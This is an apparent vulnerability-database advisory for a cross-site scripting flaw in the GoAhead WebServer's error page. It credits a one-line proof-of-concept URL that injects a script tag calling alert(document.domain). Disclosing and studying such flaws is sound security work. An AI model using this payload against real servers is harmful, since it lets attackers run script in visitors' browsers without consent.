• info
• discussion
• exploit
• solution
• references

GoAhead WebServer Error Page Cross Site Scripting Vulnerability

The following proof of concept was provided by Matt Moore <matt@westpoint.ltd.uk>:
GoAhead-server/SCRIPTalert(document.domain)/SCRIPT